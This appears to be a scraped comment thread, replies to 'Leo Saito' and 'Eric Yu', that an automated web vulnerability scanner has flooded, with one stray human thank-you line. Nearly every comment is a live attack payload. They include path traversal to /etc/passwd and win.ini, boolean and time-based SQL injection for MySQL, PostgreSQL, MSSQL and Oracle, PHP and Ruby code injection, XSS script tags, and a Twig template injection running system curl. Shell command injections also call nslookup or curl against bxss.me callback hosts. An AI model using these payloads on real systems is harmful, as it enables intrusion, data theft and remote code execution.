re: Leo Saito
".gethostbyname(lc("hitai"."ixuhgqnsb9e99.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(71).chr(112).chr(69)."
re: Leo Saito
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
re: Leo Saito
/etc/shells
re: Leo Saito
..\..\..\..\..\..\..\..\windows\win.ini
re: Leo Saito
c:/windows/win.ini
re: Leo Saito
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
re: Leo Saito
bxss.me
re: Leo Saito
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
re: Leo Saito
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
re: Leo Saito
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
re: Leo Saito
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
re: Leo Saito
WEB-INF/web.xml
re: Leo Saito
"+"A".concat(70-3).concat(22*4).concat(99).concat(76).concat(119).concat(74)+(require"socket"
Socket.gethostbyname("hitkn"+"bhwplfsqb4d27.bxss.me.")[3].to_s)+"
re: Leo Saito
HttP://bxss.me/t/xss.html?%00
re: Leo Saito
WEB-INF\web.xml
re: Leo Saito
'+'A'.concat(70-3).concat(22*4).concat(97).concat(74).concat(105).concat(66)+(require'socket'
Socket.gethostbyname('hitvs'+'cqgbqung4e161.bxss.me.')[3].to_s)+'
re: Leo Saito
bxss.me/t/xss.html?%00
re: Leo Saito
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: Leo Saito
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Leo Saito
'"
re: Leo Saito
';print(md5(31337));$a='
re: Leo Saito
<!--
re: Leo Saito
";print(md5(31337));$a="
re: Leo Saito
${@print(md5(31337))}
re: Leo Saito
${@print(md5(31337))}\
re: Leo Saito
'.print(md5(31337)).'
re: Leo Saito
1
re: Leo Saito
1
re: Leo Saito
-1 OR 2+556-556-1=0+0+0+1 --
re: Leo Saito
-1 OR 3+556-556-1=0+0+0+1 --
re: Leo Saito
-1 OR 2+81-81-1=0+0+0+1
re: Leo Saito
-1 OR 3+81-81-1=0+0+0+1
re: Leo Saito
-1' OR 2+950-950-1=0+0+0+1 --
re: Leo Saito
-1' OR 3+950-950-1=0+0+0+1 --
re: Leo Saito
-1' OR 2+920-920-1=0+0+0+1 or 'ByC7iAOd'='
re: Leo Saito
-1' OR 3+920-920-1=0+0+0+1 or 'ByC7iAOd'='
re: Leo Saito
-1" OR 2+13-13-1=0+0+0+1 --
re: Leo Saito
-1" OR 3+13-13-1=0+0+0+1 --
re: Leo Saito
if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
1 waitfor delay '0:0:15' --
re: Leo Saito
mlZLs2DC'; waitfor delay '0:0:15' --
re: Leo Saito
-5 OR 240=(SELECT 240 FROM PG_SLEEP(15))--
re: Leo Saito
-5) OR 433=(SELECT 433 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 890=(SELECT 890 FROM PG_SLEEP(15))--
re: Leo Saito
2gWGfQ4Q' OR 714=(SELECT 714 FROM PG_SLEEP(15))--
re: Leo Saito
yMieA169') OR 813=(SELECT 813 FROM PG_SLEEP(15))--
re: Leo Saito
8vhVblOH')) OR 43=(SELECT 43 FROM PG_SLEEP(15))--
re: Leo Saito
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
1'"
re: Leo Saito
@@iLjL1
re: Leo Saito
1
re: Leo Saito
1
re: Leo Saito
1
re: Leo Saito
1H4APXXAA0
re: Leo Saito
response.write(9945992*9060939)
re: Leo Saito
'+response.write(9945992*9060939)+'
re: Leo Saito
"+response.write(9945992*9060939)+"
re: Leo Saito
../../../../../../../../../../../../../../etc/passwd
re: Leo Saito
../../../../../../../../../../../../../../windows/win.ini
re: Leo Saito
<esi:include src="http://bxss.me/rpb.png"/>
re: Leo Saito
file:///etc/passwd
re: Leo Saito
${9999901+9999876}
re: Leo Saito
../
re: Leo Saito
)
re: Leo Saito
redirtest.acx
re: Leo Saito
!(()&&!|*|*|
re: Leo Saito
^(#$!@#$)(()))******
re: Leo Saito
echo pzlqxr$()\ diacnl\nz^xyu||a #' &echo pzlqxr$()\ diacnl\nz^xyu||a #|" &echo pzlqxr$()\ diacnl\nz^xyu||a #
re: Leo Saito
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: Leo Saito
'.gethostbyname(lc('hitul'.'pbrqgcwje8346.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(87).chr(113).chr(68).'
re: Leo Saito
&echo skwspe$()\ weygnm\nz^xyu||a #' &echo skwspe$()\ weygnm\nz^xyu||a #|" &echo skwspe$()\ weygnm\nz^xyu||a #
re: Leo Saito
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: Leo Saito
".gethostbyname(lc("hitlr"."cwzydljsd1561.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(85).chr(98).chr(74)."
re: Leo Saito
|echo pkniag$()\ bbiixa\nz^xyu||a #' |echo pkniag$()\ bbiixa\nz^xyu||a #|" |echo pkniag$()\ bbiixa\nz^xyu||a #
re: Leo Saito
/etc/shells
re: Leo Saito
gethostbyname(lc('hitxn'.'mezvncxed874f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(66).chr(104).chr(70)
re: Leo Saito
expr 9000810884 - 975059
re: Leo Saito
../../../../../../../../../../../../../../etc/shells
re: Leo Saito
(nslookup -q=cname hitnvuducpnhd952e6.bxss.me||curl hitnvuducpnhd952e6.bxss.me))
re: Leo Saito
c:/windows/win.ini
re: Leo Saito
$(nslookup -q=cname hitgcsxtmwgsj636dd.bxss.me||curl hitgcsxtmwgsj636dd.bxss.me)
re: Leo Saito
bxss.me
re: Leo Saito
&nslookup -q=cname hitvvdpugjewbaf71d.bxss.me&'\"`0&nslookup -q=cname hitvvdpugjewbaf71d.bxss.me&`'
re: Leo Saito
ctime
sleep
p0
(I30
tp1
Rp2
.
re: Leo Saito
Http://bxss.me/t/fit.txt
re: Leo Saito
&(nslookup -q=cname hitbldnwmemtgbf69c.bxss.me||curl hitbldnwmemtgbf69c.bxss.me)&'\"`0&(nslookup -q=cname hitbldnwmemtgbf69c.bxss.me||curl hitbldnwmemtgbf69c.bxss.me)&`'
re: Leo Saito
http://bxss.me/t/fit.txt?.jpg
re: Leo Saito
|(nslookup -q=cname hitewqvqulaad90e6e.bxss.me||curl hitewqvqulaad90e6e.bxss.me)
re: Leo Saito
`(nslookup -q=cname hitfhmxfzigowdfc0d.bxss.me||curl hitfhmxfzigowdfc0d.bxss.me)`
re: Leo Saito
;(nslookup -q=cname hitljwfgrhmjsc7cb7.bxss.me||curl hitljwfgrhmjsc7cb7.bxss.me)|(nslookup -q=cname hitljwfgrhmjsc7cb7.bxss.me||curl hitljwfgrhmjsc7cb7.bxss.me)&(nslookup -q=cname hitljwfgrhmjsc7cb7.bxss.me||curl hitljwfgrhmjsc7cb7.bxss.me)
re: Leo Saito
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: Leo Saito
'"()
re: Leo Saito
|(nslookup${IFS}-q${IFS}cname${IFS}hitxoefmnhdeadcbc9.bxss.me||curl${IFS}hitxoefmnhdeadcbc9.bxss.me)
re: Leo Saito
';print(md5(31337));$a='
re: Leo Saito
'&&sleep(27*1000)*sappjx&&'
re: Leo Saito
&(nslookup${IFS}-q${IFS}cname${IFS}hitcjeolsoowq7b627.bxss.me||curl${IFS}hitcjeolsoowq7b627.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitcjeolsoowq7b627.bxss.me||curl${IFS}hitcjeolsoowq7b627.bxss.me)&`'
re: Leo Saito
";print(md5(31337));$a="
re: Leo Saito
"&&sleep(27*1000)*eymcfs&&"
re: Leo Saito
${@print(md5(31337))}
re: Leo Saito
'||sleep(27*1000)*xtaatl||'
re: Leo Saito
${@print(md5(31337))}\
re: Leo Saito
"||sleep(27*1000)*pfvqna||"
re: Leo Saito
'.print(md5(31337)).'
re: Leo Saito
HttP://bxss.me/t/xss.html?%00
re: Leo Saito
bxss.me/t/xss.html?%00
re: Leo Saito
"+"A".concat(70-3).concat(22*4).concat(105).concat(79).concat(112).concat(65)+(require"socket"
Socket.gethostbyname("hitzx"+"nsyfilujc5b7b.bxss.me.")[3].to_s)+"
re: Leo Saito
'+'A'.concat(70-3).concat(22*4).concat(119).concat(89).concat(98).concat(69)+(require'socket'
Socket.gethostbyname('hitkx'+'gkfqzgja10e02.bxss.me.')[3].to_s)+'
re: Leo Saito
replies
re: Leo Saito
'A'.concat(70-3).concat(22*4).concat(103).concat(87).concat(112).concat(82)+(require'socket'
Socket.gethostbyname('hitlw'+'ngssxxmu0aa02.bxss.me.')[3].to_s)
re: Leo Saito
replies
re: Leo Saito
replies/.
re: Leo Saito
'"
re: Leo Saito
<!--
re: Leo Saito
'"()&%<zzz><ScRiPt >nNa0(9481)</ScRiPt>
re: Leo Saito
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitcvqojwnovvb86f4.bxss.me")}}
re: Leo Saito
'"()&%<zzz><ScRiPt >nNa0(9935)</ScRiPt>
re: Leo Saito
9769450
re: Leo Saito
LVBmAa1T
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
-1 OR 5*5=25 --
re: Leo Saito
-1 OR 5*5=26 --
re: Leo Saito
-1 OR 5*5=25
re: Leo Saito
-1 OR 5*5=26
re: Leo Saito
*if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
-1 waitfor delay '0:0:15' --
re: Leo Saito
YGqS6GaT'; waitfor delay '0:0:15' --
re: Leo Saito
-1 OR 519=(SELECT 519 FROM PG_SLEEP(15))--
re: Leo Saito
-1) OR 186=(SELECT 186 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 648=(SELECT 648 FROM PG_SLEEP(15))--
re: Leo Saito
k06i6kEE' OR 625=(SELECT 625 FROM PG_SLEEP(15))--
re: Leo Saito
8TeOe7Tp') OR 901=(SELECT 901 FROM PG_SLEEP(15))--
re: Leo Saito
SkqIjzaL')) OR 802=(SELECT 802 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
'"
re: Leo Saito
@@nojha
re: Leo Saito
(select 198766*667891)
re: Leo Saito
(select 198766*667891 from DUAL)
re: Leo Saito
oqAKF8pp
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
-1 OR 5*5=25 --
re: Leo Saito
-1 OR 5*5=26 --
re: Leo Saito
-1 OR 5*5=25
re: Leo Saito
-1 OR 5*5=26
re: Leo Saito
*if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
-1 waitfor delay '0:0:15' --
re: Leo Saito
etiriZKV'; waitfor delay '0:0:15' --
re: Leo Saito
-1 OR 450=(SELECT 450 FROM PG_SLEEP(15))--
re: Leo Saito
-1) OR 219=(SELECT 219 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 15=(SELECT 15 FROM PG_SLEEP(15))--
re: Leo Saito
2BcCnqsK' OR 142=(SELECT 142 FROM PG_SLEEP(15))--
re: Leo Saito
wHCj8qjM') OR 878=(SELECT 878 FROM PG_SLEEP(15))--
re: Leo Saito
Qx8cP7yK')) OR 799=(SELECT 799 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
'"
re: Leo Saito
@@wJdCb
re: Leo Saito
(select 198766*667891)
re: Leo Saito
(select 198766*667891 from DUAL)
re: Leo Saito
ggCeLkHO
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
-1 OR 5*5=25 --
re: Leo Saito
-1 OR 5*5=26 --
re: Leo Saito
-1 OR 5*5=25
re: Leo Saito
-1 OR 5*5=26
re: Leo Saito
*if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
-1 waitfor delay '0:0:15' --
re: Leo Saito
ngqUwAc8'; waitfor delay '0:0:15' --
re: Leo Saito
-1 OR 335=(SELECT 335 FROM PG_SLEEP(15))--
re: Leo Saito
-1) OR 862=(SELECT 862 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 726=(SELECT 726 FROM PG_SLEEP(15))--
re: Leo Saito
jELOZjZC' OR 604=(SELECT 604 FROM PG_SLEEP(15))--
re: Leo Saito
9DxUX1Q2') OR 65=(SELECT 65 FROM PG_SLEEP(15))--
re: Leo Saito
T0FGv9MY')) OR 986=(SELECT 986 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
'"
re: Leo Saito
@@SaCr6
re: Leo Saito
(select 198766*667891)
re: Leo Saito
(select 198766*667891 from DUAL)
re: Leo Saito
bb1k2bKT
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
-1 OR 2+128-128-1=0+0+0+1
re: Leo Saito
-1 OR 3+128-128-1=0+0+0+1
re: Leo Saito
if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
1 waitfor delay '0:0:15' --
re: Leo Saito
mqFyH9mm'; waitfor delay '0:0:15' --
re: Leo Saito
-5 OR 417=(SELECT 417 FROM PG_SLEEP(15))--
re: Leo Saito
-5) OR 491=(SELECT 491 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 751=(SELECT 751 FROM PG_SLEEP(15))--
re: Leo Saito
7dhOzoRA' OR 510=(SELECT 510 FROM PG_SLEEP(15))--
re: Leo Saito
91JzaQUk') OR 96=(SELECT 96 FROM PG_SLEEP(15))--
re: Leo Saito
5OSohpYJ')) OR 101=(SELECT 101 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
1'"
re: Leo Saito
@@w1DdF
re: Leo Saito
ocbilrUn
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
-1 OR 5*5=25 --
re: Leo Saito
-1 OR 5*5=26 --
re: Leo Saito
-1 OR 5*5=25
re: Leo Saito
-1 OR 5*5=26
re: Leo Saito
*if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
-1 waitfor delay '0:0:15' --
re: Leo Saito
5DMROkCB'; waitfor delay '0:0:15' --
re: Leo Saito
-1 OR 545=(SELECT 545 FROM PG_SLEEP(15))--
re: Leo Saito
-1) OR 358=(SELECT 358 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 864=(SELECT 864 FROM PG_SLEEP(15))--
re: Leo Saito
KP9sNbCw' OR 528=(SELECT 528 FROM PG_SLEEP(15))--
re: Leo Saito
6aQ6I3v5') OR 296=(SELECT 296 FROM PG_SLEEP(15))--
re: Leo Saito
j9u2mYAI')) OR 217=(SELECT 217 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
'"
re: Leo Saito
@@x86gf
re: Leo Saito
(select 198766*667891)
re: Leo Saito
(select 198766*667891 from DUAL)
Thank you. I will try them out on my lastest trip!
re: Eric Yu
5XLmagFH
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
1*
re: Eric Yu
-1 OR 2+727-727-1=0+0+0+1
re: Eric Yu
-1 OR 3+727-727-1=0+0+0+1
re: Eric Yu
if(now()=sysdate(),sleep(15),0)
re: Eric Yu
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Eric Yu
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Eric Yu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Eric Yu
-1; waitfor delay '0:0:15' --
re: Eric Yu
-1); waitfor delay '0:0:15' --
re: Eric Yu
1 waitfor delay '0:0:15' --
re: Eric Yu
HFrGGLy4'; waitfor delay '0:0:15' --
re: Eric Yu
-5 OR 104=(SELECT 104 FROM PG_SLEEP(15))--
re: Eric Yu
-5) OR 43=(SELECT 43 FROM PG_SLEEP(15))--
re: Eric Yu
-1)) OR 92=(SELECT 92 FROM PG_SLEEP(15))--
re: Eric Yu
bqT6SreD' OR 399=(SELECT 399 FROM PG_SLEEP(15))--
re: Eric Yu
R9bMj8tq') OR 246=(SELECT 246 FROM PG_SLEEP(15))--
re: Eric Yu
GoHNjGyX')) OR 699=(SELECT 699 FROM PG_SLEEP(15))--
re: Eric Yu
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Eric Yu
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Eric Yu
'||(select 1 from (select pg_sleep(15))x)||'
re: Eric Yu
''||(select 1 from (select pg_sleep(15))x)||''
re: Eric Yu
1'"
re: Eric Yu
@@vMwXJ
re: Eric Yu
tidAmBfW
re: Eric Yu
1*
